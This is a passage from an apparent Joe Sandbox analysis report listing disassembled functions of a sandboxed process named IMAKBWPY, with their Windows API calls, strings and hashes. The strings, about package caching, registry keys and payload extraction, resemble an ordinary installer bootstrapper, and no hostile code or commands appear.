Instruction ID: 383a8e4e8962a454a419a4324f2580f17d17572dbb09a9729361c741b25edf23
Opcode Fuzzy Hash: 030da1bbfc9eff2d526513ff7d062b50d05c130752138a10a1086048d210017f
Instruction Fuzzy Hash: 53F0F432A04279A78B229B969C4995BBA68BB44B51B050104BD04AB280EBB0ED4097D0

Function 009DA20B Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,009D3479,009D3479,?,?,?,009DA45C,00000001,00000001,ECE85006), ref: 009DA265
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,009DA45C,00000001,00000001,ECE85006,?,?,?), ref: 009DA2EB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,ECE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009DA3E5
__freea.LIBCMT ref: 009DA3F2

Part of subcall function 009D521A: RtlAllocateHeap.NTDLL(00000000,?,?,?,009D1F87,?,0000015D,?,?,?,?,009D33E0,000000FF,00000000,?,?), ref: 009D524C

__freea.LIBCMT ref: 009DA3FB
__freea.LIBCMT ref: 009DA420

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 0acb03d9878a2db48ba93c952092786ed0dd5c1c7dfdea55bf8f0d0eae4c5620
Instruction ID: c42889cb6f471a512e4428182df2a27febd60b0b41858008bbcc1520c632af24
Opcode Fuzzy Hash: 0acb03d9878a2db48ba93c952092786ed0dd5c1c7dfdea55bf8f0d0eae4c5620
Instruction Fuzzy Hash: AC512472690216AFDB258F64CC81FBFB7AEEB84710F15862AFD14D6240EB34DCA0C651

Function 009B8CAC Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 122sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0,00000000,00000000), ref: 009B8D18

Strings

per-machine, xrefs: 009B8D69, 009B8DA9
Failed to get old %hs package cache root directory., xrefs: 009B8DB8
per-user, xrefs: 009B8D72, 009B8D77, 009B8DB2, 009B8DB7
Failed to get %hs package cache root directory., xrefs: 009B8D78
Failed to calculate cache path., xrefs: 009B8CD5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Sleep
String ID: Failed to calculate cache path.$Failed to get %hs package cache root directory.$Failed to get old %hs package cache root directory.$per-machine$per-user
API String ID: 3472027048-398165853
Opcode ID: b7f524cf8d52f24d28361b458d8aea829f831d4a2ee1d8e7771847d9741f9a83
Instruction ID: 3da944d371d35a98dee70af7de1de01325f2aecda3ae88863149e6e2f9fac8d8
Opcode Fuzzy Hash: b7f524cf8d52f24d28361b458d8aea829f831d4a2ee1d8e7771847d9741f9a83
Instruction Fuzzy Hash: BC31C572A40619BBDB22A6648E46FFF626CDFE8730F114026FE00F62D1DA749D00D7A1

Function 009BE956 Relevance: 9.1, APIs: 6, Instructions: 85windowCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000082,?,?), ref: 009BE985
SetWindowLongW.USER32(?,000000EB,00000000), ref: 009BE994
SetWindowLongW.USER32(?,000000EB,?), ref: 009BE9A8
DefWindowProcW.USER32(?,?,?,?), ref: 009BE9B8
GetWindowLongW.USER32(?,000000EB), ref: 009BE9D2
PostQuitMessage.USER32(00000000), ref: 009BEA31

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Window$Long$Proc$MessagePostQuit
String ID:
API String ID: 3812958022-0
Opcode ID: 40a2fd191d86a3b290d4976798209c0d9fa6a95aac9135c25c9713e5b97394e5
Instruction ID: 97580292e81558224758f92b713faf748d15a0e734c2ed9435ab57a48c3f0ba6
Opcode Fuzzy Hash: 40a2fd191d86a3b290d4976798209c0d9fa6a95aac9135c25c9713e5b97394e5
Instruction Fuzzy Hash: F7219075104148BFDB119F68DD89EEA3B6DFF85320F148618F90A9A1A4C731DD10EB90

Function 009BC7C9 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 164synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(?), ref: 009BC811
CloseHandle.KERNEL32(?), ref: 009BC819

Strings

elevation.cpp, xrefs: 009BC9B8
Unexpected elevated message sent to child process, msg: %u, xrefs: 009BC9C4
Failed to save state., xrefs: 009BC891

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandleMutexRelease
String ID: Failed to save state.$Unexpected elevated message sent to child process, msg: %u$elevation.cpp
API String ID: 4207627910-1576875097
Opcode ID: 57b9c44bd64015878c0f9b29fff4ab38c457515ae541c254d073fdc313d215f3
Instruction ID: 0511a56396a3cd22bf04f863883736fe3cc99a1043c41f06f00f6c7831ee98d8
Opcode Fuzzy Hash: 57b9c44bd64015878c0f9b29fff4ab38c457515ae541c254d073fdc313d215f3
Instruction Fuzzy Hash: FE61D67A100504FFDF225F84CE41DA5BBB2FF487247158959FAA95A632C732E821EF41

Function 009E7B16 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

SysFreeString.OLEAUT32(00000000), ref: 009E7C74
SysFreeString.OLEAUT32(00000000), ref: 009E7C7F
SysFreeString.OLEAUT32(00000000), ref: 009E7C8A

Strings

atomutil.cpp, xrefs: 009E7B49
`<u, xrefs: 009E7C69

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeString$Heap$AllocateProcess
String ID: `<u$atomutil.cpp
API String ID: 2724874077-4051019476
Opcode ID: f18c7d3eb3ecacc7c6b12d202c240032d8b7836e50b1c6394ea9b3da7da63afe
Instruction ID: 35973f8e0bba299a270b802f287077c15ce2e29d0c2f53f6aa4198b39e2f9895
Opcode Fuzzy Hash: f18c7d3eb3ecacc7c6b12d202c240032d8b7836e50b1c6394ea9b3da7da63afe
Instruction Fuzzy Hash: 93518F7190426AAFDB22DBA5C844FAEF7BCAF44710F254194E945AB250DB71EE00CBE1

Function 009E1217 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 150registrystringCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,000002C0,00000000,000002C0,00000000,00000000,000002C0,BundleUpgradeCode,00000410,000002C0,00000000,00000000,00000000,00000100,00000000), ref: 009E123F
RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,?,?,?,?,?,009B70E8,00000100,000000B0,00000088,00000410,000002C0), ref: 009E1276
lstrlenW.KERNEL32(?,?,?,00000000,?,-00000001,00000004,00000000), ref: 009E136E

Strings

BundleUpgradeCode, xrefs: 009E121E
regutil.cpp, xrefs: 009E12BF

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue$lstrlen
String ID: BundleUpgradeCode$regutil.cpp
API String ID: 3790715954-1648651458
Opcode ID: 91bae9cf266e2405f4943ed033f0d18fd225c44d228ad18c9561aac93da64305
Instruction ID: 21aba14d5f3dbaf64e4461c73f8ccd05c6900558adf43fc18ff307f9a949e6a2
Opcode Fuzzy Hash: 91bae9cf266e2405f4943ed033f0d18fd225c44d228ad18c9561aac93da64305
Instruction Fuzzy Hash: CF41B435A0019AFFDB22DF96C844EAEB7AEEF44710F15416AFD11EB650D6309D00DBA0

Function 009E6357 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E490D: SetFilePointerEx.KERNELBASE(?,?,?,?,?,00000000,?,?,?,009B8770,00000000,00000000,00000000,00000000,00000000), ref: 009E4925
Part of subcall function 009E490D: GetLastError.KERNEL32(?,?,?,009B8770,00000000,00000000,00000000,00000000,00000000), ref: 009E492F

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,009E5C09,?,?,?,?,?,?,?,00010000,?), ref: 009E63C0
WriteFile.KERNEL32(000000FF,00000008,00000008,?,00000000,000000FF,00000000,00000000,00000000,00000000,?,009E5C09,?,?,?,?), ref: 009E6412
GetLastError.KERNEL32(?,009E5C09,?,?,?,?,?,?,?,00010000,?,00000001,?,GET,?,?), ref: 009E6458
GetLastError.KERNEL32(?,009E5C09,?,?,?,?,?,?,?,00010000,?,00000001,?,GET,?,?), ref: 009E647E

Strings

dlutil.cpp, xrefs: 009E64A2

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLast$Write$Pointer
String ID: dlutil.cpp
API String ID: 133221148-2067379296
Opcode ID: 4e166a85804c790f8727697d7f75799c3b1ede80a7c74df349b5a13b20530dab
Instruction ID: 92d37d43d91808cce2b6a1c06cd0a83fd95839ff999c287348f02f3f121538d7
Opcode Fuzzy Hash: 4e166a85804c790f8727697d7f75799c3b1ede80a7c74df349b5a13b20530dab
Instruction Fuzzy Hash: 7641A17290025ABFDB228E96CD85FEE7B69FF147A0F154125FD00A61A0E331DD20DBA0

Function 009A2428 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000000,009DFFEF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,009DFFEF,009C12CF,?,00000000), ref: 009A246E
GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,009DFFEF,009C12CF,?,00000000,0000FDE9,?,009C12CF), ref: 009A247A

Part of subcall function 009A3BD3: GetProcessHeap.KERNEL32(00000000,000001C7,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BDB
Part of subcall function 009A3BD3: HeapSize.KERNEL32(00000000,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BE2

Strings

strutil.cpp, xrefs: 009A249E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$ByteCharErrorLastMultiProcessSizeWide
String ID: strutil.cpp
API String ID: 3662877508-3612885251
Opcode ID: e74fcd49e1f8269026066c801bc0855cd5365eab6f7ac1b5a7fc51fc3454ac3c
Instruction ID: 8935f9883bbd3df929d0194999a11eaf2858dab4a17f65aa10a0b5aab569661b
Opcode Fuzzy Hash: e74fcd49e1f8269026066c801bc0855cd5365eab6f7ac1b5a7fc51fc3454ac3c
Instruction Fuzzy Hash: 8D31C33130421AEFE7109F6D8CD4A6637DEBB5A368B108629FE119B2B0E775DC0197E0

Function 009CAD44 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 107COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,?,000000FF,?,00000000,?,?,?,00000000,00000000,?,?,00000000), ref: 009CADB3

Strings

Failed to skip the extraction of payload: %ls from container: %ls, xrefs: 009CAE4A
Failed to extract all payloads from container: %ls, xrefs: 009CADF7
Failed to extract payload: %ls from container: %ls, xrefs: 009CAE3E
Failed to open container: %ls., xrefs: 009CAD85

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: Failed to extract all payloads from container: %ls$Failed to extract payload: %ls from container: %ls$Failed to open container: %ls.$Failed to skip the extraction of payload: %ls from container: %ls
API String ID: 1825529933-3891707333
Opcode ID: e5f3fe35adb42557b9b264b9404b8ce546511d660dfbd067f61d2a98545ba9ce
Instruction ID: 60a2262c9d8262dbd4ed98d809ae1370031eeacec6a06e035aca4b3c2d4693e3
Opcode Fuzzy Hash: e5f3fe35adb42557b9b264b9404b8ce546511d660dfbd067f61d2a98545ba9ce
Instruction Fuzzy Hash: 9D31E532C0011DABCF22AAE4CC45F9E7768AF44728F104615FE21A71A1E7359E54DBE2

Function 009E7A10 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

SysFreeString.OLEAUT32(00000000), ref: 009E7AF4
SysFreeString.OLEAUT32(?), ref: 009E7AFF
SysFreeString.OLEAUT32(00000000), ref: 009E7B0A

Strings

atomutil.cpp, xrefs: 009E7A3D
`<u, xrefs: 009E7AE9

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeString$Heap$AllocateProcess
String ID: `<u$atomutil.cpp
API String ID: 2724874077-4051019476
Opcode ID: 0e8847a75af3272e1526da4b98e7d3672549bb35413d0776c9fac7c38c1c781e
Instruction ID: fc78b2320adb4d13426feba192b314f8a58833595d7d2567adb62004a7fa90ba
Opcode Fuzzy Hash: 0e8847a75af3272e1526da4b98e7d3672549bb35413d0776c9fac7c38c1c781e
Instruction Fuzzy Hash: 18318232D0916ABBCB139BDACC45F9EFBA8EF40754F1541A1FA00AB150D7709E009BD1

Function 009AF005 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 96registryCOMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,00000001,000000FF,?,000000FF,00000001,PackageVersion,00000001,?,009B0654,00000001,00000001,00000001,009B0654,00000000), ref: 009AF07D
RegCloseKey.ADVAPI32(00000000,00000001,PackageVersion,00000001,?,009B0654,00000001,00000001,00000001,009B0654,00000000,00000001,00000000,?,009B0654,00000001), ref: 009AF09A

Strings

PackageVersion, xrefs: 009AF05E
Failed to format key for update registration., xrefs: 009AF033
Failed to remove update registration key: %ls, xrefs: 009AF0C7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCompareString
String ID: Failed to format key for update registration.$Failed to remove update registration key: %ls$PackageVersion
API String ID: 446873843-3222553582
Opcode ID: 91bfa3f08a1f6d56ce7326dc10340dc6e089375a7eab9cdbaa5b73fdd8a0f497
Instruction ID: 46e81fbc5b7726e2b2432b1e9bb90d20d4f7e2b74bbdd9c5421477ce1682a65d
Opcode Fuzzy Hash: 91bfa3f08a1f6d56ce7326dc10340dc6e089375a7eab9cdbaa5b73fdd8a0f497
Instruction Fuzzy Hash: 37218131D00269BBCB21ABA5CC49FAFBEB8DF82724F100265F914E7152E7759E40D6D0

Function 009E433D Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 95registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E4440: FindFirstFileW.KERNEL32(009C923A,?,00000100,00000000,00000000), ref: 009E447B
Part of subcall function 009E4440: FindClose.KERNEL32(00000000), ref: 009E4487

RegCloseKey.ADVAPI32(?,00000000,?,00000000,?,00000000,?,00000000,?,wininet.dll,?,crypt32.dll,?,?,?,00000000), ref: 009E4430

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

Part of subcall function 009E1217: RegQueryValueExW.ADVAPI32(00000000,000002C0,00000000,000002C0,00000000,00000000,000002C0,BundleUpgradeCode,00000410,000002C0,00000000,00000000,00000000,00000100,00000000), ref: 009E123F
Part of subcall function 009E1217: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,?,?,?,?,?,009B70E8,00000100,000000B0,00000088,00000410,000002C0), ref: 009E1276

Strings

PendingFileRenameOperations, xrefs: 009E439B
\, xrefs: 009E43B9
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 009E436F
crypt32.dll, xrefs: 009E4368

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseFindQueryValue$FileFirstOpen
String ID: PendingFileRenameOperations$SYSTEM\CurrentControlSet\Control\Session Manager$\$crypt32.dll
API String ID: 3397690329-3978359083
Opcode ID: 3f3ac2a605570d606a73ad4523eae04c0ef32e30889c0403363a4e2c1b762c8b
Instruction ID: 236cfd6ee9be699b400a6ce1e5cf1da26e179f669e504752a595a358bafbccc3
Opcode Fuzzy Hash: 3f3ac2a605570d606a73ad4523eae04c0ef32e30889c0403363a4e2c1b762c8b
Instruction Fuzzy Hash: 9731A431A00249FBDF229F96DC41BBEB7B9FF40750F54817AE904A62A1E3319E50CB90

Function 009E4019 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,009A4DBC,00000000,?,?,00000000,?,009E412D,00000000,009A4DBC,00000000,00000000,?,009B85EE,?,?), ref: 009E4033
GetLastError.KERNEL32(?,009E412D,00000000,009A4DBC,00000000,00000000,?,009B85EE,?,?,00000001,00000003,000007D0,?,?,?), ref: 009E4041
CopyFileW.KERNEL32(00000000,009A4DBC,00000000,009A4DBC,00000000,?,009E412D,00000000,009A4DBC,00000000,00000000,?,009B85EE,?,?,00000001), ref: 009E40AC
GetLastError.KERNEL32(?,009E412D,00000000,009A4DBC,00000000,00000000,?,009B85EE,?,?,00000001,00000003,000007D0,?,?,?), ref: 009E40B6

Strings

fileutil.cpp, xrefs: 009E40D5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CopyErrorFileLast
String ID: fileutil.cpp
API String ID: 374144340-2967768451
Opcode ID: a64d4616346a67390ba612ff781ca3bec9a5c77368eb5f2c14f853871acbddf9
Instruction ID: c173411fe0a1bac4d5da967213c7ddfba3d639dd01bce9b8a0f7b5f96bccae6c
Opcode Fuzzy Hash: a64d4616346a67390ba612ff781ca3bec9a5c77368eb5f2c14f853871acbddf9
Instruction Fuzzy Hash: E121FF266003F697EB320AAB4C80B3B669CFF10BA2B150536FF04DF161E7A48C4092E1

Function 009AEF1B Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009AEF56

Part of subcall function 009E4153: SetFileAttributesW.KERNEL32(009C923A,00000080,00000000,009C923A,000000FF,00000000,?,?,009C923A), ref: 009E4182
Part of subcall function 009E4153: GetLastError.KERNEL32(?,?,009C923A), ref: 009E418C

Part of subcall function 009A3C6B: RemoveDirectoryW.KERNEL32(00000001,00000000,00000000,00000000,?,?,009AEFA1,00000001,00000000,00000095,00000001,009B0663,00000095,00000000,swidtag,00000001), ref: 009A3C88

Strings

Failed to format tag folder path., xrefs: 009AEFC3
Failed to allocate regid folder path., xrefs: 009AEFBC
Failed to allocate regid file path., xrefs: 009AEFB5
swidtag, xrefs: 009AEF65

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesDirectoryErrorFileLastOpen@16Remove
String ID: Failed to allocate regid file path.$Failed to allocate regid folder path.$Failed to format tag folder path.$swidtag
API String ID: 1428973842-4170906717
Opcode ID: b4b275cbc99b322227379fce5c2c529c28f5f57c6dc18b66f4ff69df17d222bf
Instruction ID: 7e010ae802abfcd82f6eb59ea3524d4de200547332b36a4cda414ee2191c8025
Opcode Fuzzy Hash: b4b275cbc99b322227379fce5c2c529c28f5f57c6dc18b66f4ff69df17d222bf
Instruction Fuzzy Hash: 43217831D00518FFCB16EB99CC41BADFBB9EF85710F1480A6F914B62A2D7719E40AB90

Function 009C8DB6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

CompareStringW.KERNEL32(00000000,00000001,00000000,000000FF,?,000000FF,00000000,00000000,00000000,-80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00020019,00000000,00000100,00000100,000001B4), ref: 009C8E3A
RegCloseKey.ADVAPI32(00000000,-80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00020019,00000000,00000100,00000100,000001B4,?,?,?,009AF7E0,00000001,00000100,000001B4,00000000), ref: 009C8E88

Strings

Failed to enumerate uninstall key for related bundles., xrefs: 009C8E99
Failed to open uninstall registry key., xrefs: 009C8DFD
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 009C8DD7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
